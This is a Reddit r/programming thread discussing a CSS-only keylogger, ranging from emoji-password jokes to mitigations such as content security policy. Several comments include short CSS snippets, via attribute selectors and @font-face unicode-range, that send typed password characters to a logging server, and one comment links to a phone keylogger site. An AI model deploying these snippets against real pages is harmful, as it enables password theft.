r/programming • u/Senior-Jesticle • Feb 20 '18
A CSS Keylogger
https://github.com/maxchehab/CSS-Keylogging374
u/LovecraftsDeath Feb 20 '18
Luckily, it can't intercept my poop emoji password.
159
u/PathToHumble Feb 21 '18 edited Feb 21 '18
Non english characters ftw....just now realized the poop emoji is literally a better password than most people use.
30
29
u/btcraig Feb 21 '18
At my last job (small webhost) someone tried to add a domain to their control panel that was "💩.com"
You can definitely register a domain with an emoji. But our [proprietary] control panel blew up and he ended up taking down the server for a few hours while we sorted it out.
5
u/Sigmatics Feb 21 '18
Doesn't show up in the adress bar with the emoji though 😢
8
u/btcraig Feb 21 '18
You are correct, there's some encoding that goes on to display them as as more 'standard' characters. Our control panel, at the time, was not developed with encoding in it though and just kinda of shit the bed when it came across them.
3
1
1
14
u/Ford_O Feb 21 '18
How do you write it?
79
u/ygra Feb 21 '18
Windows key + .
62
u/heckerle Feb 21 '18
WTF 🤯
Are you telling me all that time there was a goddamn emoji keyboard built into Windows?! And it has a search functionality too?!
And I as the moron I am always first went into the Screen Keyboard, clicked again because it didn't open the first time, clicked on the emoji "language" (or button nowadays) manually searched what I needed and clicked a dozen times again, because sometimes it just didn't insert the character.
Mind = Blown.
Also: Worst-communicated feature ever.
18
u/ygra Feb 21 '18
Not sure about all that time. Probably added in one of the last few major Windows 10 updates. I've only discovered it by accident because I use Windows + , sometimes to look at the desktop (it's a quasi-modal Win+D).
10
u/heckerle Feb 21 '18
Yeah, apparently it was added in 1709 (Fall Creators Update) and also works using "Win + ;".
8
u/whoisrich Feb 21 '18 edited Feb 21 '18
Note that Win+. only works if your input language is 'English (United States)' on the Fall 1709 version.
You can do a shitty alternative of switching to the tablet mode keyboard or adding the US language and doing Win+Space,Win+.,Win+Space. EDIT: If you have admin, the reg fix /u/vytah posted works great!
→ More replies (1)3
u/heckerle Feb 21 '18
It works using my German keyboard layout/language... Maybe it's just some other key for yours? Like ";" or similar?
4
u/whoisrich Feb 21 '18
No other key that I can find, it's a known issue. Go to your Settings, Region and Language, you may have your region as US but keyboard as German which allows it to work.
→ More replies (4)→ More replies (1)7
u/Amuro_Ray Feb 21 '18
There's one on the OSx keyboard as well. cmd + crt + space (I think). Emojis are amazing and kinda universal for expressing tone.
21
8
7
u/vytah Feb 21 '18
Just so you know: it only works by default in American English versions of Windows. You can enable it in other versions by editing the registry: https://www.windowscentral.com/how-enable-windows-10-emoji-picker-outside-united-states
2
u/ygra Feb 21 '18
Ah, I've long given up using localized versions, as translations have grown increasingly unbearable.
2
u/thedancinzerg Feb 21 '18
I had no idea. Apparently this does not work with numpad .
3
u/ygra Feb 21 '18
It's a different key and doesn't have to result in a . entered. It can be a , as well.
2
u/blackn1ght Feb 21 '18
Doesn't work for me.
Edit: Turns out it's only a Windows 10, US edition feature, but can be enabled via the registry.
2
u/emperor000 Feb 21 '18
That doesn't work. It starts the screen magnifier for me. I should be American English version of Windows.
→ More replies (2)1
0
17
6
u/Theemuts Feb 21 '18
Literally a shit password.
5
u/zdkroot Feb 21 '18
Actually it's still figurative since you don't have to physically defecate on the keyboard to log in. Sorrycouldn'thelpmyself...
2
u/TheKingdutch Feb 21 '18
Except, couldnt you just extend the CSS file to include all permutations of Emojis? CSS files can be just UTF8 right?
9
u/Schmittfried Feb 21 '18
Yes, but that would be huge.
1
u/isHavvy Feb 22 '18
Just mask it in with needing 1Mb of JS and multiple megabytes of images and then everybody will just think you suck at webdev and begrudgingly use your service.
→ More replies (1)3
u/myhf Feb 21 '18
What password? All I see is **** *****
→ More replies (1)0
u/thedancinzerg Feb 21 '18
good ole' runescape
11
u/hitforhelp Feb 21 '18
I think he's making reference of " Hunter2" joke than runescape. Although it was a popular troll on runescape.
105
u/kersurk Feb 20 '18
As pointed out in HN, this works only if value attribute is updated via JS, which some JS frameworks do.
42
u/Manishearth Feb 20 '18
And, to be clear, this is about the HTML attribute
value, not the "DOM attribute" (or "property")value.
element.value = "foo"will not trigger this.
element.setAttribute("value", "foo")will.18
u/MathWizz94 Feb 21 '18
Now that you mention it, putting a password in the markup doesn't sit well with me. Seems like it could be awfully easy for things to go wrong (such as this.)
21
u/MonkeeSage Feb 21 '18
While it's not as cool as a keylogger, the idea of tracking user actions with pure CSS has been around for a while, and more recently.
6
u/xaitv Feb 21 '18
Also pointed out on HN, you can work around that: https://github.com/jbtronics/CrookedStyleSheets/issues/24
3
u/ijmacd Feb 21 '18
Here's another "CSS Keylogger" from hacker news. It would probably only tell you the ordered set of characters used in the password, not the complete password or the length.
<!doctype html> <title>css keylogger</title> <style> @font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; } @font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; } @font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; } @font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; } input { font-family: x, 'Comic sans ms'; } </style> <input value="a">1
u/1j01 Feb 22 '18
The other approach could be extended to search for pairs (or N-grams) of symbols...
3
u/PM_ME_UR_OBSIDIAN Feb 21 '18
So disabling JavaScript protects you against this attack?
5
u/fullkornslimpa Feb 21 '18
It does unless the site renders your password into the value field on the server side. If any site actually does this, that is by far much worse than this though.
1
Feb 22 '18
People often talk about disabling JS, and it's meant to be "best practice" when creating sites to make them work w/o it, but in the real world it's not really practicable these days, save for the simplest of sites. 99% [made up figure] of the web today won't run without JS. No?
→ More replies (1)→ More replies (7)1
u/DolphinsAreOk Feb 22 '18
Wait so its not a CSS only keylogger?
Thats kinda dumb.
1
u/kersurk Feb 23 '18
The attack vector is only CSS, so it's still useful on some pages, like potentially subreddit custom css, ebay custom pages (https://pages.ebay.com/help/policies/listing-javascript.html).
If keeping custom content in iframe then probably not an issue.
78
Feb 20 '18
Is there any way of knowing if a site has this keylogger? Besides inspecting the whole page.
89
u/AyrA_ch Feb 20 '18
Check the network tab in the console when you type the password
108
u/McMasilmof Feb 20 '18
But the site generally has your password anyways(you are typing it in an input field so its kust the value of it). Its the site owners job not to include any shady 3rd party scripts
91
u/how_do_i_land Feb 20 '18
The issue arises with some sites allowing you to include your own custom CSS classes. Reddit doesn't currently allow for custom css images from outside reddit, but other sites may not have that restriction.
20
u/Kapps Feb 21 '18
Maybe generate a gibberish subreddit for every character and use that with usage stats? Would have to be super targeted though, and not sure how fine grained usage stats you can get. Posts with number of views would also work.
5
u/Dropping_fruits Feb 21 '18
I remember a simpler approach of just loading images from your subreddits css and then having the victim go to your website were you could just simply check what images had been cached. The case I am thinking of used it to steal the email, but it could have probably been used to steal other info.
19
u/timmyotc Feb 20 '18
There is a difference between trusting the site owner and trusting their competency
9
Feb 21 '18
Just don't reuse passwords.
5
u/danneu Feb 21 '18
well, the attacker here would be able to login to the site you're on regardless of whether you reuse the password elsewhere.
→ More replies (2)2
u/mirhagk Feb 21 '18
Better yet, don't use passwords. Single sign on means you only need to trust a single website to get security right, everything else is easily revokable credentials.
0
→ More replies (9)20
Feb 20 '18
Why should we trust them to do their job?
18
6
u/Eckish Feb 21 '18
You should trust them as far as you can throw them. Which likely isn't very far. So, trust that they are secure enough for their own interests, but don't reuse any password on another site.
27
Feb 21 '18 edited Feb 21 '18
A site isn't going to steal the password to their own site (with the exception of maybe a disgruntled employee). It's plugins you need to be worried about
10
u/crlwlsh Feb 21 '18
And the third party dependencies of the site. E.g. Bootstrap - whats to stop them placing this on the end of their CSS?
0
Feb 21 '18
[deleted]
3
u/Superpickle18 Feb 21 '18
the problem is when their distribution is compromised and interjects a trojan into the code and millions download it and gets used in thousands of sites... And most aren't going to dig through the code, they'll just trust it..
2
u/davvblack Feb 21 '18
Don't worry, if a given site is pwned your password is completely stolen anyway.
→ More replies (2)
24
u/0rakel Feb 20 '18
Can be used on Reddit?
46
u/Pokechu22 Feb 20 '18
No, reddit does not allow CSS to reference images not hosted on reddit itself (more specifically they have to be uploaded in the stylesheet page; you can't reference arbitrary images by URL).
4
u/japillow Feb 21 '18
Are there a limited amount on the stylesheet page? What's stopping someone from uploading one and getting some random URL for each ASCII character and having a different map than a -> a etc.
15
u/Pokechu22 Feb 21 '18
You can have up to 100 images (IIRC, the limit might have been changed). But, it's still an image hosted on reddit itself; you can't see when the image has been loaded (part of this attack involves making requests to a server the attacker controls; if you can only load images hosted on reddit, then you can't see what images were loaded and reddit is already receiving your login information when you login)
2
u/balefrost Feb 21 '18
Can't you use SVG for background images, and can't SVG files reference other SVG files? Maybe SVG is restricted by the same-origin policy.
4
u/Pokechu22 Feb 21 '18
Normally yes, but reddit only allows uploading PNG and JPEG images. (And on a related note, you can't use data URLs for it either)
3
u/davvblack Feb 21 '18
Since reddit controls that domain you can't see the timing of the access logs, so the attack is pointless.
1
u/ThisIs_MyName Feb 21 '18 edited Feb 21 '18
Ok so we just have to figure out how reddit parses CSS.
Every browser parses everything differently, so there's got to be some CSS file that appears to have a URL commented out with reddit's parser but not commented out with other parsers.
2
u/Pokechu22 Feb 21 '18
This is the code that they use(d) for their CSS filter. It's from the repo that they no longer update, but that is how the filter worked back then.
1
9
u/arrow_in_my_gluteus_ Feb 20 '18
you mean as custom css file of a subreddit? scary
5
u/GaianNeuron Feb 21 '18
Scary, but not possible. Subreddit CSS only allows images that are hosted on reddit itself (specifically, those uploaded on the stylesheet page).
39
u/ProgramTheWorld Feb 21 '18
This wouldn’t be a problem if you have set up content security policy properly in your login page to prevent any kind of data transmission to unknown domains. Also this requires running a full blown extension, which I can already grab everything on your active tab without asking for any permission.
→ More replies (1)27
u/jazd Feb 21 '18
Exactly, a content security policy would nix this type of exploit.
The browser extension is just for proof of concept. CSS can probably be snuck into a lot of sites simply because it's subject to less scrutiny.
12
u/sr-egg Feb 21 '18
<input type=password style=“background-image: none !important” />?
22
u/crlwlsh Feb 21 '18
input[type="password"][value$="a"]:before { content: ""; background-image: url("http://localhost:3000/a"); }9
3
u/ilikepugs Feb 21 '18
IIRC this won't actually work if the browser is following the spec, as void elements (br, input, etc.) aren't allowed to have pseudo elements.
2
u/crlwlsh Feb 21 '18
You're right, my bad. How about this:
input[type="password"][value$="a"] { list-style: square ("http://localhost:3000/a"); }Or alternatively:
@font-face { font-family: TheLetterA; src: url(http://localhost:3000/a); } input[type="password"][value$="a"] { font-family: TheLetterA, sans-serif; }2
u/ilikepugs Feb 21 '18
Heh, I think you just figured out a way around the repeated character issue.
Define a series of fallback fonts, each covering just one character.
4
u/Wazzaps Feb 21 '18
I think an extension delivery method is giving it too much credit, it could be delivered via userstyle
→ More replies (2)
3
3
u/megablue Feb 21 '18
And, it allows some javascript-less dynamic interaction with the server too...
2
5
u/flarn2006 Feb 21 '18
What's the risk here? If you can trick your victim into installing a Chrome extension, why not just program it to read the contents of password fields using JavaScript?
16
Feb 21 '18
[removed] — view removed comment
2
u/flarn2006 Feb 21 '18
But how would they get the css loaded in a site they don't control otherwise?
2
1
u/TimmyTesticles Feb 21 '18
Can someone explain to me how this would work if somebody enters a password like "aaabccc"
Wouldn't it just log "abc"?
1
u/mfiels Feb 21 '18
If the server returns an HTTP response header of cache-control: no-cache the browser should request each character multiple times as it is typed.
I haven't verified this assumption.
1
1
1
u/Arancaytar Feb 22 '18
This isn't even the first such exploit, just the most severe one I've seen. (The first one I saw was requesting background images for URLs that had been visited, leaking browser history for a given set of URLs.) The ability of CSS to trigger requests has always been able to leak protected information. The only way to mitigate this is to load all referenced url(...) resources regardless of use.
(Luckily this does require the ability to inject CSS into the victim's page. But that vulnerability might be overlooked if people only focus on protecting against script injection.)
1
u/robertwelain Jul 27 '18
And what do you think about this keylogger? https://spying.ninja/remote-install-keylogger-cell-phones/
0
u/shevegen Feb 21 '18
Wow - and here I thought CSS is much cooler than JavaScript.
Now I have to worry about keyloggers stealing even more information from people ... :(
12
u/meneldal2 Feb 21 '18
It can only happen if you allow untrusted CSS on your website, which would then allow a third-party to get the password. You can do the same with JS as well. The way you avoid this shit is by avoiding people you don't know putting code that you haven't checked on your website.
3
u/nemec Feb 21 '18
It can only happen if you allow untrusted CSS on your website
So, like, subreddit styles?
7
u/meneldal2 Feb 21 '18
As another comment mentions, you can't do it with reddit because it can only load images hosted on reddit servers.
→ More replies (6)→ More replies (1)0
u/NoInkling Feb 21 '18 edited Feb 21 '18
Really you want to set up CSP for this sort of thing.
Edit: to elaborate, vetting all your code/CSS doesn't stop users from unknowingly installing malicious extensions/external styles, CSP is basically your only actionable line of defense against that (and a helpful safety net the rest of the time, even if it's not a flawless one).
1
0
u/username223 Feb 21 '18
Joy. Do you have a sense of how much this is already being used by adtech and spyware companies?
-3
u/fox829 Feb 20 '18
Is there anything stopping it from sending it to an external url that isn't Localhost?
4
1
0
Feb 20 '18
[deleted]
96
u/Senior-Jesticle Feb 20 '18
Correct! But there are other attribute selectors. For example
[input*=value]checks if input contains value. Although this would not show the order of the password, it would reveal its contents.2
u/Kapps Feb 21 '18
Generate every possible 3 letter / number / common symbol. Not sure if that would kill a browser, but could load the style sheet when they press submit and hide it behind network lag. Don’t need capitals because, let’s face it, it’s the first letter that’s the capital one.
0
Feb 20 '18
[deleted]
13
0
Feb 20 '18
[deleted]
95
u/Ozymandias117 Feb 21 '18
Most sites don't even properly allow ASCII symbols. >.<
21
u/amyts Feb 21 '18
My power company only allows a 6-character alphanumeric password. No symbols, no emoji. :(
→ More replies (1)58
u/flarn2006 Feb 21 '18
I can guarantee you they're storing that in cleartext somewhere.
5
u/hicksyfern Feb 21 '18
At my last job, our “security guy” limited our character set allowed for passwords, because of something to do with how some characters not being hashable in a deterministic way. I think it was because we were doing X rounds of hashing on the client, and some clients have differences in how they hash some contents.
Maybe someone here can shed some light or I might be talking poop
→ More replies (4)→ More replies (1)5
u/Atario Feb 21 '18
>.<
Sorry, your
passwordcomment cannot contain any of the following: & < > . $ % [ ] { } ' "And never you mind why those specific characters
11
u/xonjas Feb 21 '18
Many do.
You can have a unicode windows password too, although I don't recommend it.
0
5
u/JavierTheNormal Feb 21 '18
Maybe, but it's counterproductive. The number of keystrokes required to enter unicode characters is more than the value they provide, you'd be better off just making a longer password with normal characters.
Many sites still won't allow ' or even spaces in passwords, so nothing is universal.
5
u/MCBeathoven Feb 21 '18
Eh, the US international keyboard allows you to type loads of non-ASCII characters with single keystrokes.
→ More replies (5)
0
Feb 20 '18
[deleted]
40
u/Senior-Jesticle Feb 20 '18
I am.
0
Feb 21 '18
[deleted]
18
u/phoenix616 Feb 21 '18
That exploit has been known for a while though and is not as bad as it sounds at first.
As mentioned here it only works if a JavaScript framework updates the attribute value as you type in the password (which no sane one should do, e.g. ones that are not React), basic HTML is not vulnerable against something like this.
7
u/himself_v Feb 21 '18
I'm more and more of the mind that the Web should just be about static damn HTML. Not only people abuse JS and turn simple pages into abominations which lag on PCs that can calculate overwhelmingly complicated things in real-time, we just can't deal with this mess. Security is turned from exact science into the art of walking on the minefield.
0
Feb 20 '18
[deleted]
8
Feb 21 '18
Listen, there is clever and there is sorcery. This blur the lines between them.
13
u/poofartpee Feb 21 '18
This just seems clever to me. When you read the code once it's very clear how it works.
This is sorcery. https://en.wikipedia.org/wiki/Fast_inverse_square_root#Overview_of_the_code
4
2
0
Feb 21 '18
[deleted]
2
u/Senior-Jesticle Feb 21 '18
Nope. You must select the chrome extension every time you want to initialize the attack per tab/reload.
-2
0
253
u/giggly_kisses Feb 20 '18
Do browsers cache network requests from CSS? If so this would really only tell you the order a user typed every character in the alphabet, right?